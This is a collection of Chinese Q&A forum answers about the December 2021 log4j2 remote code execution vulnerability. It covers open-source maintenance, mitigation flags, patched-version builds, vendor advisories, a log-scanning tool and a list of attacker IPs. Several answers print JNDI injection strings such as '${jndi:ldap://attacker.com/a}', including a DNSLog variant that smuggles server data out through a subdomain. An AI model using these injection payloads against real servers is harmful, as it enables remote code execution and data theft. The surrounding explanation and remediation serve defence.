如何看待 log4j2 远程代码执行漏洞?

by , at 16 December 2021, tags : 漏洞代码执行 Log4j 远程 Log4j 点击纠错 点击删除

使用CN2/CN2GIA顶级线路，支持Shadowsocks/V2ray科学上网，支持支付宝付款，每月仅需 5 美元

## 加入品葱精选 Telegram Channel ##

知乎用户 Glavo 发表

这次暴露了用户对开源项目的态度。一方面大家都把开源当免费来用，一方面又指望它有企业级的维护支持与安全性保障。

从这次漏洞影响范围之广就可以知道这个库到底有多少人在用，其中不乏千亿市值知名企业的商用产品。

但另一方面，Log4j 这个库的所有维护者都是在业余时间维护的，从中并没有得到对等的报酬，对维护它也没有任何义务。即使这已经是整个互联网深深依赖的基础库，维护者们接受的捐赠依然不足以让他们全职为此劳动，甚至可以说用爱发电。

像 HMCL 这种十万级用户量的开源软件，不仅开发者全部用爱发电，甚至还要倒贴服务器维护成本，直到稳定版丢上城通网盘后才有收益贴上服务器的支出。

不知道这次漏洞暴露的问题能不能让人们对此有所警醒。

不过 Log4j 这玩意，也属实是太过臃肿。我以前真没用过这玩意，刚好一周之前本来想试试，结果发现一个日志库怎么这么庞大，看了看包结构都有点头大，读了文档后感觉塞了太多乱七八糟的功能，所以放弃了。因为对延迟要求不高，所以直接用了 java.loggging，结果没过几天就遇到了这事，只能说…… 一点也不出意外。

不过 java.loggging 性能相对来说还是比较差。我现在正在开发一套基础库，目前主要投入在集合框架方面，考虑找时间在其中重新造一套日志库的轮子，优化一下性能，功能方面就没必要像 Log4j 那么臃肿了。

另外值得一提的是，Java 9 中已经引入了一个新的轻量级日志接口 java.lang.System.Logger，没错，就在那个 System 类里，可以用 System.getLogger 取得新的 logger，默认会使用 java.logging 日志库。它的底层实现可以简单地替换，可以考虑作为 SLF4J 的轻量级替代使用。

知乎用户灵剑发表

草率引入已知有远程执行风险的 JNDI，默认启用并且长期没有人关注是问题之一，但我认为最根本的还是来自于不可信任来源的数据（用户输入）最终在没有任何监管的情况下被当作了必须被信任的数据（被解析 + 执行的命令）。在现代编程实践中，我们必须认识到，因为各类动态特性的引入，数据和代码并不能被严格区分，不可信任的数据应该像不可信任的代码一样被谨慎处理，而目前的编译系统并不能有效区分数据来源。区分数据来源和可信度对业务系统来说比区分数据类型重要得多，而现在的类型系统花时间区分 String 还是 int，却对源自于用户的 String 和源自于可信位置的 String 毫不区分，这是非常荒唐的事情。

也许以后的类型系统可以增加一种 “染色” 的特性：

颜色可以像 C++ 中的 “const” 一样，作为类型的一种修饰，至少有 “无色” 和“黑色”两种不同的颜色
编译时常量是 “无色” 的，代表可信任
底层 IO 接口（File/Socket）输出的结果是 “黑色” 的，代表不可信任
有 “黑色” 数据参与的运算，输出结果都是“黑色”
函数在编译过程中会自动生成染色规则并且缓存起来，染色规则指哪些参数是输入或输出，哪些参数的颜色会被 “染” 到输出或者返回值上面
基于虚函数的接口默认最严格的染色规则（所有参数都会染到所有输出），可以自己声明需要的染色规则，在接口实现的时候会进行编译检查
变量的颜色可以强制指定，也可以在赋值时自动推断；全局变量、成员变量通常默认为黑色，可以声明为其他颜色（如无色），赋值时如果不符合相应颜色无法编译通过
OOP 中，this 被视为一个 IN/OUT 参数，并且有相应的颜色，调用接口时视为同时对 this 指向的对象进行了一次带染色的赋值。如果指定某个对象引用为无色，则类似于 C++ 中 const 的情况，只有调用中不会将 this 染成其他颜色的接口（包括传入参数全都是无色，或者这个接口不会导致 this 染色，即不会对成员变量进行带染色赋值）可以使用。这个特性可以保护无色的可变对象不会意外引入带颜色的数据。
可能引入安全问题的接口中，参数会被强制指定为 “无色”，例如 JNDI、executeSQL、exec、eval 一类的函数，被染色的参数输入时编译无法通过。
和所有的类型系统一样，允许使用强制转换强制设置值的颜色来在特定情况下绕过检查
用户或者库可能引入更多的颜色和规则来执行自定义的检查，例如不同的网络来源有不同的颜色，或者同时禁止 format 使用用户输入数据等等。

知乎用户姚冬发表

不用过度解读，就当是个天灾意外好了

这种诡异的隐藏如此之深的漏洞，不可能在开发测试阶段就被发现，code review 时能看出来的绝对是神仙。

-—- 前方高能，大批量神仙即将出没在评论区 —-

这种意外跟开源不开源没啥关系，跟投入多少研发人员资金没啥关系，意外就是意外，小概率事件，一定会发生且无法杜绝。

重点是建立应急防御机制，从这件事来看，全球各个企业机构反应还是很快的，开发维护者也响应很及时。虽然天灾无可避免，但救灾行动快一点就行。

不要借题发挥了，如果能讲解下漏洞原理，复现方法，给大家长长见识也是可以的，但是啥都不懂还能异想天开胡说八道 11 条就免了吧。

知乎用户严肃的白小白发表

回顾一下 12.10 一天的经历

早上看到新闻，心想：这漏洞真厉害
中午到了公司发现，自己的项目用的 logback，躲过一劫
下午吃瓜看一群同事修 bug 发版，在微信群里扯淡吐槽
晚上在本地复现了一下攻击过程
感叹，还是要多学习多进步啊，并整理了这篇回答

昨天一整天都在被公司群、闲聊扯淡群、知乎上 log4j2 漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案，吐槽半夜被叫醒加班补漏洞，还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然，还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个 http://dnslog.cn 网站的 dns 记录截图。

作为一名纯粹的后端搬砖程序员，平日对安全领域真的是没啥涉猎。所以这个网站是干啥的？为啥有记录就证明百度、iCloud 被攻击了？于是抱着学习的态度研究了一番，有了一丢丢的收获。

DNSLog 网站是干啥的？

讲人话：DNSLog 可以为你免费分配一个二级域名，并记录这个二级域名做 DNS 解析过程中的域名和 IP 映射关系的请求记录。当你对这个二级域名进行请求时，自然会进行 DNS 解析，所以你就会在当前的页面查看到解析的记录。

比如我随机分配到了这个域名：http://7lqs4g.dnslog.cn

之后我请求这个域名，当然，什么都不会返回。但是在 DNSLog 的页面上，会显示域名解析记录，如图：

如何证实漏洞？

本次的 log4j2 漏洞，是通过构造一个 ${jndi:ldap://http://blabla.com} 格式的字符串，在 log4j2 打印包含这个字符串的日志时，通过 JNDI 对 ldap://http://blabla.com 进行请求。所以，如果能注入成功，则在请求网址的时候，会对 http://blabla.com 这个域名进行解析，并留下解析记录。

所以这就是为什么，用 DNSLog 网站的截图来证明，各大网站存在漏洞的原因。因为注入成功就会有记录呀。

于是在本地也感受一下。新建一个 Spring Boot 的 Web 项目，配置好我们这次的主角 log4j2。

写一个简单的 post 请求的接口，里面的内容就是输出请求的信息。对这个接口进行正常的请求，输出如下：

之后我们在将请求构造成注入攻击的格式，带上我们新申请的二级域名：${jndi:ldap://http://gc46bp.dnslog.cn}。再发起一次请求，结果如图：

可以看到，攻击生效了，回到 DNSLog 页面上刷新一下 DNS 解析记录，已经出现了。

漏洞解决

目前各大厂给出的方案可以参考这篇回答：

Apache 存在 Log4j 远程代码执行漏洞，将给相关企业带来哪些影响？还有哪些信息值得关注？

总结起来有以下几个：

彻底解决方案

log4j 升级到 2.15.0 版本

暂时解决方案

修改 log4j2 配置：log4j2.formatMsgNolookups=True
修改 JVM 参数 -Dlog4j2.formatMsgNoLookups=true

这个方案我尝试之后是可行的

平替方案

那就是不用 log4j2 啦，直接用 logBack 就好了哈哈哈哈。

因为自己的项目使用的是 logback，所以这一整天就看别人在那升级版本上线了，全程吃瓜。

而且也因为 Spring Boot 是默认使用的 logback，所以做测试的项目创建后忘了配置接入 log4j2，测了几次发现没 bug 啊…… 尴尬。

DNSLog 还能干啥

再说回到 DNSLog。那这个网站就只是看一下 DNS 解析记录？并不是，其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名，这样信息就可以直接在 DNS 解析记录里看到了。

设计一个蹩脚的漏洞来攻击

那么我们就可以结合刚才的知识，来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码：

然后我构造如下的入参，进行注入攻击：${jndi:ldap://{}.http://hbh9cz.dnslog.cn}

可以看到，实际上输出的日志变成：

再查看 DNSLog 的解析记录，可以看到我们要的信息已经带出来了。

知乎用户中老年 Java 民工发表

已经有 2.15.0 正式版了，直接升级到 2.15.0 即可，今天凌晨就已经有正式包了，结果网上的文章抄来抄去都写 rc1 或 rc2。

配置项加固也只能对 2.10.0 到 2.14.1 版本生效，低于 2.10.0 的必须升级。

jndi 就是坑货，99% 的项目都用不到。

知乎用户研磨架构发表

刚刚！最新！Log4J2 发布 2.16.0，加固漏洞防御！！！

程序员又有活干了！Log4J2 发布 2.16.0，加固漏洞防御

通过 JNDI 注入漏洞，黑客可以恶意构造特殊数据请求包，触发此漏洞，从而成功利用此漏洞可以在目标服务器上执行任意代码。

注意，此漏洞是可以执行任意代码，这就很恐怖，相当于黑客已经攻入计算机，可以为所欲为了，就像已经进入你家，想干什么，就干什么，比如运行什么程序，植入什么病毒，变成他的肉鸡。

漏洞详细描述

Apache Log4j2 远程代码执行漏洞的详细信息已被披露，而经过分析，本次 Apache Log4j 远程代码执行漏洞，正是由于组件存在 Java JNDI 注入漏洞：当程序将用户输入的数据记入日志时，攻击者通过构造特殊请求，来触发 Apache Log4j2 中的远程代码执行漏洞，从而利用此漏洞在目标服务器上执行任意代码。

攻击原理：

import org.apache.log4j.Logger;
import java.io.\*;
import java.sql.SQLException;
import java.util.\*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 /\*\*
   \* A simple HTTP endpoint that reads the request's User Agent and logs it back.
   \* This is basically pseudo-code to explain the vulnerability, and not a full example.
   \* @param he HTTP Request Object
   \*/
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

根据上面提供的攻击代码，攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

攻击步骤

攻击者向漏洞服务器发起攻击请求。
服务器通过 Log4j2 记录攻击请求中包含的基于 JNDI 和 LDAP 的恶意负载${jndi:ldap://attacker.com/a}，attacker.com是攻击者控制的地址。
记录的恶意负载被触发，服务器通过 JNDI 向attacker.com请求。
attacker.com就可以在响应中添加一些恶意的可执行脚本，注入到服务器进程中，例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
攻击者执行恶意脚本。

专门画了一张图，让大家更好理解，一图胜千言：

下面就是漏洞 “攻陷”，比如可以在 baidu 搜索框里输入特殊格式请求，造成网页劫持：

受影响版本（看起来是 Log4j2 才受影响，Log4j 1.2.15 以下不受影响）：

Apache Log4j 2.x <= 2.14.1

已知受影响的应用程序和组件：

Spring-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid

据悉，此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为 “高危”，且漏洞危害巨大，利用门槛极低。有报道称，目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响，需尽快采取方案阻止。

目前，Apache Log4j 已经发布了新版本来修复该漏洞，请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本，同时升级已知受影响的应用程序和组件，如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

解决方案：

临时修复建议：

JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT\_MESSAGES\_PATTERN\_DISABLE\_LOOKUPS 设置为true

安全建议：

据 Apache 官方最新信息显示，release 页面上已经更新了 Log4j 2.15.0 版本，主要是那个 log4j-core 包，漏洞就是在这个包里产生的，如果你的程序有用到，尽快紧急升级。

现在网上公开的仓库还下载不到解决漏洞的 Log4j2 2.15.0 版本，需要自己编译源码获取 Jar 包，我这里有一份，有需要的自取：

Log4j2 2.15.0 jar 包下载：

Log4j2 2.15.0 jar 包下载

原理详见此篇：

一图搞懂 Log4J2 远程代码执行漏洞原理

Log4J2 带给我们的警示：

针对 log4j 此次漏洞，应该引起我们哪些警示？利用工具的同时我们是不是应该更注重基础原理？

知乎用户 ailx10 发表

不搜不知道，一搜吓一跳，这件事已经发酵一个星期了，看到的文章也大同小异了，把我都看倦了，看乏了，无非就是巴拉巴拉，漏洞原理，漏洞复现，漏洞危害，就跟村头大妈叨唠一样，今年赚了多少钱，有没有车子，有没有房子，有没有对象，什么时候结婚，什么时候要孩子，网络安全这个小圈子，哪有什么大事，还不如想想年后，跳槽去哪家大公司，赚大票子来的实在~

![](data:image/svg+xml;utf8,)

先夸一夸阿里云安全团队

2021/11/24 【漏洞预警】Apache Log4j2 远程代码执行漏洞（CVE-2021-44228）[1]

安全大公司对 log4j 的重视

公司名称	谷歌搜索 log4j 页数（最近 7 天）
深信服	4
奇安信	10
启明星辰	2
天融信	6
安恒	2
360	10
绿盟	8

1、深信服

2021/12/9 深信服监测到 Apache Log4j2 远程代码执行漏洞信息。 [2]

2021/12/10 请注意 Apache Log4j2 远程代码执行漏洞影响面广泛，深信服已有防护规则 [3]

2021/12/10 关于深信服 SRC 暂不收录 Log4j2 远程代码执行漏洞的说明 [4]

2、奇安信

2021/12/9【安全风险通告】Apache Log4j 任意代码执行漏洞安全风险通告 [5]

2021/12/10 Apache Log4j 远程代码执行漏洞（含排查措施和修复建议）[6]

2021/12/10 奇安信天问平台率先提供 Log4j 漏洞一键排查解决方案 [7]

2021/12/13【司南追踪一】Log4j2 漏洞已被多个僵尸网络家族利用 [8]

2021/12/13【司南追踪二】Log4j2 漏洞影响蔓延至虚拟化基础设施 [9]

3、启明星辰

2021/12/10 Apache Log4j 高危漏洞来袭启明星辰提供解决方案 [10]

4、天融信

2021/12/10 天融信发布 Apache Log4j2 漏洞处置方案，请抓紧排查升级 [11]

5、安恒

2021/12/10【微情报】Apache Log4j 2 远程代码执行漏洞风险提示 [12]

2021/12/10 Log4j2-lookups 功能 - Dos[13]

2021/12/10 log4j2-lookups-JNDI 注入 [14]

6、360

2021/12/10 Apache Log4j 2 远程代码执行漏洞通告 [15]

2021/12/13 CVE-2021-44228: Apache Log4j2 远程代码执行漏洞分析 [16]

7、绿盟

2021/12/10 APACHE LOG4J2 远程代码执行漏洞处置手册 [17]

2021/12/11【处置手册更新】Apache Log4j2 远程代码执行漏洞 [18]

2021/12/13 APACHE LOG4J 远程代码执行漏洞（ CVE-2021-44228）完整处置手册 [19]

2021/12/13 APACHE LOG4J2 漏洞来了，绿盟科技云端 MDR 服务专家团助力用户” 速战速决 “[20]

参考

^【漏洞预警】Apache Log4j2 远程代码执行漏洞（CVE-2021-44228） https://help.aliyun.com/noticelist/articleid/1060971232.html
^ 深信服监测到 Apache Log4j2 远程代码执行漏洞信息 https://vulsee.com/archives/vulsee_2021/1209_15854.html
^ 请注意 Apache Log4j2 远程代码执行漏洞影响面广泛，深信服已有防护规则 https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650257947&idx=1&sn=e5fb52d5cacd250608af55416bdba124&chksm=f3e2006fc4958979f2b93bcc674ef4b74b485e319ccbcb901ca4d2647f0f2b950a15ee73d47f&scene=132#wechat_redirect
^ 关于深信服 SRC 暂不收录 Log4j2 远程代码执行漏洞的说明 https://security.sangfor.com.cn/index.php?m=&c=page&a=view&id=208
^【安全风险通告】Apache Log4j 任意代码执行漏洞安全风险通告 https://mp.weixin.qq.com/s/TTBDxP5k2j22Li05GbmhMQ
^Apache Log4j 远程代码执行漏洞（含排查措施和修复建议） https://forum.butian.net/share/963
^ 奇安信天问平台率先提供 Log4j 漏洞一键排查解决方案 https://research.qianxin.com/archives/1120
^【司南追踪一】Log4j2 漏洞已被多个僵尸网络家族利用 https://research.qianxin.com/archives/1127
^【司南追踪二】Log4j2 漏洞影响蔓延至虚拟化基础设施 https://research.qianxin.com/archives/1141
^Apache Log4j 高危漏洞来袭启明星辰提供解决方案 https://www.163.com/dy/article/GQSBDIEL0531A9AL.html
^ 天融信发布 Apache Log4j2 漏洞处置方案，请抓紧排查升级 https://www.sohu.com/a/507064285_290304
^【微情报】Apache Log4j 2 远程代码执行漏洞风险提示 https://ti.dbappsecurity.com.cn/info/2913
^Log4j2-lookups 功能 - Dos https://ti.dbappsecurity.com.cn/vul/DAS-T103677
^log4j2-lookups-JNDI 注入 https://ti.dbappsecurity.com.cn/vul/DAS-T103675
^Apache Log4j 2 远程代码执行漏洞通告 https://cert.360.cn/warning/detail?id=d5dd5bbdfbb3d58c3a633e4e105e22bb
^CVE-2021-44228: Apache Log4j2 远程代码执行漏洞分析 https://cert.360.cn/report/detail?id=062bbf8780b4297c520716ed858a2df3
^APACHE LOG4J2 远程代码执行漏洞处置手册 http://blog.nsfocus.net/apache-log4j2/
^ 处置手册更新】Apache Log4j2 远程代码执行漏洞 https://www.nsfocus.com.cn/html/2021/21_1211/1345.html
^APACHE LOG4J 远程代码执行漏洞（ CVE-2021-44228）完整处置手册 http://blog.nsfocus.net/apache-log4j-cve-2021-44228/
^APACHE LOG4J2 漏洞来了，绿盟科技云端 MDR 服务专家团助力用户” 速战速决 “ http://blog.nsfocus.net/apache-log4j2-mdr/

知乎用户 4ra1n 发表

另一个回答中给出了详细的解释

Apache 存在 Log4j 远程代码执行漏洞，将给相关企业带来哪些影响？还有哪些信息值得关注？

知乎用户程序猿 DD 发表

12 月 14 日，Apache Log4j 团队再次发布了新版本：2.16.0！

还在用 2.15.0 的小伙伴们得赶紧升级了！

2.16.0 更新内容

默认禁用 JNDI 的访问，用户需要通过配置 log4j2.enableJndi 参数开启
默认允许协议限制为：java、ldap、ldaps，并将 ldap 协议限制为仅可访问 Java 原始对象
Message Lookups 被完全移除，加固漏洞的防御

更多细节，可以通过官网查看：https://logging.apache.org/log4j/2.x/

Spring Boot 用户如何升级

Spring Boot 用户依然可以通过前几天分享的 Spring Boot 应用简易升级 Spring Boot 下所有 log4j 版本的方法，去全局调整 log4j2 的版本。

如果您正在学习 Spring Boot，那么推荐一个连载多年还在继续更新的免费教程：https://blog.didispace.com/spring-boot-learning-2x/

如果你懒得看之前的文章，也可以通过下图了解具体如何修改：

如果其他非 spring boot 管理的依赖间接引入，就要单独排除了。

知乎用户微步在线发表

log4j2 漏洞爆发，企业打补丁可能需要几小时到几天时间，但黑客攻击却只需要几分钟时间！到底是打补丁更快还是黑客攻击更快？如何确定自己的服务是否已经被攻击了？

攻击排查工具

为帮助广大企业自查是否遭到 log4j2 漏洞攻击，现提供一款检测工具及黑客攻击 IP 情报，用于检测服务器是否曾被 log4j2 漏洞利用攻击（注：但无法判定是否攻击成功）：

https://static.threatbook.cn/tools/detect.py

若运行工具后发现告警提示，需要协助研判，请联系微步专业工程师协助您确认排查问题。

工具使用方式：

该工具为 python 脚本，在 python.2.7 及 3.8 的环境中测试通过。

命令行格式为：Python tools_py2_py2.py -p xxxxxx/logs，即 -p 后接的参数为需要扫描的 log 目录，默认扫描目录为 /var/log，建议用户扫描的目录有 [tomcat 日志目录 ($TOMCAT_HOME/logs)，log4j2 应用日志目录 (log4j.properties 文件中 log4j.appender.*.File 的值)，Redis 日志目录 ($REDIS_HOME/log)，kafka($KAFKA_HOME/logs)，Apache(/var/log/apache2)，ES(/usr/share/elasticsearch/logs)]

使用示例如下：

![](data:image/svg+xml;utf8,)

需要扫描的日志，包括但不限于：

Struts2
Apache Solr
Apache Druid
Apache Flink
ElasticSearch
Kafka
Flume
Dubbo
Redis
Logstash

工具原理：

匹配日志中的可疑字串（因此该工具仅支持明文日志检测，对于日志压缩等方式无法检测）

在野攻击排查示例

如下是我们对部署在公网中的蜜罐日志进行分析的示例：

黑客利用 log4j 攻击 IP 情报

如下是我们捕获到的利用 log4j2 漏洞进行攻击的部分 IP 列表，有需要的用户可根据该列表进行自查：

104.244.72.115, 104.244.74.211, 104.244.74.57, 104.244.76.170, 107.189.1.160, 107.189.1.178, 107.189.12.135, 107.189.14.98, 109.237.96.124, 109.70.100.34, 116.24.67.213, 122.161.50.23, 131.153.4.122, 134.122.34.28, 137.184.102.82, 137.184.106.119, 142.93.34.250, 143.198.32.72, 143.198.45.117, 147.182.167.165, 147.182.169.254, 147.182.219.9, 151.115.60.113, 159.65.155.208, 159.65.58.66, 164.90.199.216, 167.71.13.196, 167.99.164.201, 167.99.172.213, 167.99.172.58, 171.25.193.20, 171.25.193.25, 171.25.193.77, 171.25.193.78, 178.62.79.49, 181.214.39.2, 18.27.197.252, 185.100.87.202, 185.100.87.41, 185.100.87.41, 185.107.47.171, 185.107.47.171, 185.129.61.1, 185.220.100.240, 185.220.100.241, 185.220.100.242, 185.220.100.243, 185.220.100.244, 185.220.100.245, 185.220.100.246, 185.220.100.247, 185.220.100.248, 185.220.100.249, 185.220.100.252, 185.220.100.253, 185.220.100.254, 185.220.100.255, 185.220.101.129, 185.220.101.134, 185.220.101.134, 185.220.101.138, 185.220.101.139, 185.220.101.141, 185.220.101.142, 185.220.101.143, 185.220.101.144, 185.220.101.145, 185.220.101.147, 185.220.101.148, 185.220.101.149, 185.220.101.153, 185.220.101.154, 185.220.101.154, 185.220.101.156, 185.220.101.157, 185.220.101.158, 185.220.101.160, 185.220.101.161, 185.220.101.163, 185.220.101.168, 185.220.101.169, 185.220.101.171, 185.220.101.172, 185.220.101.175, 185.220.101.177, 185.220.101.179, 185.220.101.180, 185.220.101.181, 185.220.101.182, 185.220.101.185, 185.220.101.186, 185.220.101.189, 185.220.101.191, 185.220.101.33, 185.220.101.34, 185.220.101.35, 185.220.101.36, 185.220.101.37, 185.220.101.41, 185.220.101.42, 185.220.101.43, 185.220.101.45, 185.220.101.46, 185.220.101.49, 185.220.101.54, 185.220.101.55, 185.220.101.56, 185.220.101.57, 185.220.101.61, 185.220.101.61, 185.220.102.242, 185.220.102.249, 185.220.102.8, 185.38.175.132, 185.83.214.69, 188.166.122.43, 188.166.48.55, 188.166.92.228, 193.189.100.195, 193.189.100.203, 193.218.118.183, 193.218.118.231, 193.31.24.154, 194.48.199.78, 195.176.3.24, 195.19.192.26, 195.254.135.76, 198.98.51.189, 199.195.250.77, 204.8.156.142, 205.185.117.149, 20.71.156.146, 209.127.17.242, 209.141.41.103, 2.10.206.71, 212.193.57.225, 217.163.23.58, 23.129.64.131, 23.129.64.131, 23.129.64.141, 23.129.64.146, 23.129.64.148, 45.12.134.108, 45.137.21.9, 45.153.160.131, 45.153.160.138, 45.155.205.233, 46.166.139.111, 46.182.21.248, 51.15.43.205, 51.255.106.85, 54.173.99.121, 62.102.148.69, 62.76.41.46, 68.183.198.247, 68.183.44.143, 72.223.168.73, 81.17.18.60, 88.80.20.86

微步在线安全产品全线支持检测和拦截 log4j 漏洞攻击打 log4j2 补丁了？黑客有没有捷足先登？

快速远程批量检测 Log4j2 互联网暴露面

Log4j2 组件使用极其广泛，并且使用方式较为灵活。此次 Log4j2 漏洞被大量商业产品、应用及各种开源组件嵌套使用，使得通过远程 POC 通用扫描来验证漏洞存在与否存在很大的难度，传统的漏扫方案很难有效覆盖数据输入点，往往是扫描器告警数量为 0，实际漏洞资产数却难以统计。

为解决上述困扰，我们提出了另外一种思路：

通过从软件供应链的视角，梳理使用了此次漏洞相关 Log4j2 组件的产品、应用、开源组件，进一步通过软件指纹测绘的方式分析企业使用了上述产品、应用、开源组件的资产。如果企业当前还没有打过补丁，就能够认为相关资产有较高的概率受此次漏洞的影响。当前反之，如果已经打过补丁，就可以忽略相关资产。

截至 12 月 11 日，微步通过人工和自动化相结合的方式快速梳理出了多达 400 余款主流应用 / 组件的 41000 + 个受此漏洞影响的版本，可以用于快速批量发现受影响的资产，我们也公开了部分 Top 的应用 / 组件，企业可根据自身需求，依托此数据构建扫描器，统计可能受影响的资产。

微步在线 X 企业版帮助企业提供外部威胁监控与检测的 Saas 化解决方案，其互联网暴露面梳理功能已内置上述能力。

快速远程批量检测 Log4j2 互联网暴露面

知乎用户李杭帆发表

有这种水准的漏洞，在广泛使用的库里，大家用了这么长时间，竟然没发觉有什么不对劲。.NET 生态圈的小伙伴们看得一愣一愣的。

知乎用户华为云开发者社区发表

近日，华为云安全团队关注到 Apache Log4j2 的远程代码执行最新漏洞。Apache Log4j2 是一款业界广泛使用的基于 Java 的日志工具，该组件使用范围广泛，利用门槛低，漏洞危害极大。华为云安全在第一时间检测到漏洞状况并在官网发布相关公告，在此提醒使用 Apache Log4j2 的用户尽快安排自检并做好安全防护。

公告详情：https://www.huaweicloud.com/notice/2021/20211210001621800.html

Apache Log4j2 是一款业界广泛使用的基于 Java 的日志记录工具。此次曝出的漏洞，利用门槛低，漏洞危害极大，威胁级别定义为严重级。此漏洞存在于 Apache Log4j 2.x 到 2.15.0-rc1 多个版本，已知受影响的应用及组件包括 spring-boot-starter-log4j2 / Apache Solr / Apache Flink / Apache Druid 等。

华为云安全在第一时间提供了对该漏洞的防护。仅仅过去数小时，华为云 WAF 就在现网中拦截了 Apache Log4j2 远程代码执行漏洞的大量变形攻击，通过分析发现攻击者正在不断尝试新的攻击方法，当前已识别到 10 + 种试图取得服务器控制权的变形攻击。鉴于此漏洞威胁级别高，而且出现大量变形攻击，因此华为云安全团队提醒客户及时采取处置措施和开启防护服务。

一、漏洞处置：

尽快升级至 Apache log4j-2.15.0-rc2 官方正式版，Apache 官方已发布补丁，下载地址：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
对于无法短时间升级新版本的情况，建议采取如下措施来缓解：

(优先) 添加以下 JVM 启动参数来禁止解析 JDNI，重启服务，jvm 参数 -Dlog4j2.formatMsgNoLookups=true
log4j2.ini 配置中设置 log4j2.formatMsgNoLookups=True 禁止解析 JDNI
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
确保使用高版本 JDK，如 JDK8u191 默认限制远程加载恶意类 (只能增加漏洞利用难度，不能杜绝)
禁止没有必要的业务访问外网

二、开启防护服务，主动检测和动态防护

华为云安全持续监测此漏洞及其变种攻击，建议开启相关安全防护服务，主动扫描防护利用此漏洞进行的恶意攻击

1、开启华为云 WAF 的基础防护功能（购买 WAF 标准版、专业版或铂金版），检测和拦截各种变形攻击。

产品页：https://www.huaweicloud.com/product/waf.html

在华为云 WAF 控制台，防护策略 ->Web 基础防护，开启状态，设置拦截模式，开启华为云 WAF 的 Web 基础防护功能。

2、开启华为云 CFW 的基础防御功能（基础版），检测和拦截各种变形攻击。

产品页：https://www.huaweicloud.com/product/cfw.html

在华为云 CFW 控制台，入侵防御 -> 防御策略设置页面，打开基础防御功能开关，并启动拦截模式。

3、华为云漏洞扫描服务 VSS 第一时间提供了对该漏洞的检测能力。开启华为云 VSS 的漏洞扫描功能（免费开通基础版，或购买专业版、高级版、企业版），检测网站及主机资产是否存在该漏洞，主动识别安全风险。

产品页：https://www.huaweicloud.com/product/vss.html

在华为云 VSS 控制台，资产列表 -> 网站 -> 新增域名，资产列表 -> 主机 -> 添加主机，启动扫描，等待任务结束，查看扫描报告。

点击关注，第一时间了解华为云新鲜技术~

知乎用户民工哥发表

Apache Log4j2 远程代码执行漏洞修复步骤

漏洞说明

Apache Log4j2 是一个基于 Java 的日志记录工具。由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。

漏洞适用版本为 2.0 <= Apache log4j2 <= 2.14.1，只需检测 Java 应用是否引入 log4j-api , log4j-core 两个 jar。若存在应用使用，极大可能会受到影响。

修复步骤

1、下载源码 zip 包到本地

下载地址:

github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc2.zip

2、解压到本地

![](data:image/svg+xml;utf8,)

3、用 IDEA 打开项目

![](data:image/svg+xml;utf8,)

4、执行 Maven Deploy，将 log4j2 修复的版本包安装到 Nexus

1. 修改 toolchains-sample-win.xml 文件的 JDK 安装路径：

<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.8</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\\\\Program Files\\\\Java\\\\jdk1.8.0\_202</jdkHome>
    </configuration>
  </toolchain>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>9</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\\\\Program Files\\\\Java\\\\jdk-9.0.4</jdkHome>
    </configuration>
  </toolchain>

2. 执行 Maven 命令

mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml

3. 将生成安装在本地 Jar 包，安装到 Nexus

注意事项：

1、确保本地当前 Java 的环境为 Java8，如果本地有个 Java 环境，请先修改 Java 环境为 Java8，再重启 IDEA。
2、确保本地有 JDK9 的环境
3、建议跳过 test 步骤，否则安装的时间太长了

5、修改项目中的 pom.xml

排除掉通过其他依赖方式引入的 log4j 相关的包

手动引入前面安装的 log4j 包

<dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-slf4j-impl</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
      <exclusions>
        <exclusion>
          <artifactId>log4j-api</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
        <exclusion>
          <artifactId>log4j-core</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
      </exclusions>
    </dependency>
 
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
    </dependency>
 
 
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.15.0</version>
      <scope>compile</scope>
      <exclusions>
        <exclusion>
          <artifactId>log4j-api</artifactId>
          <groupId>org.apache.logging.log4j</groupId>
        </exclusion>
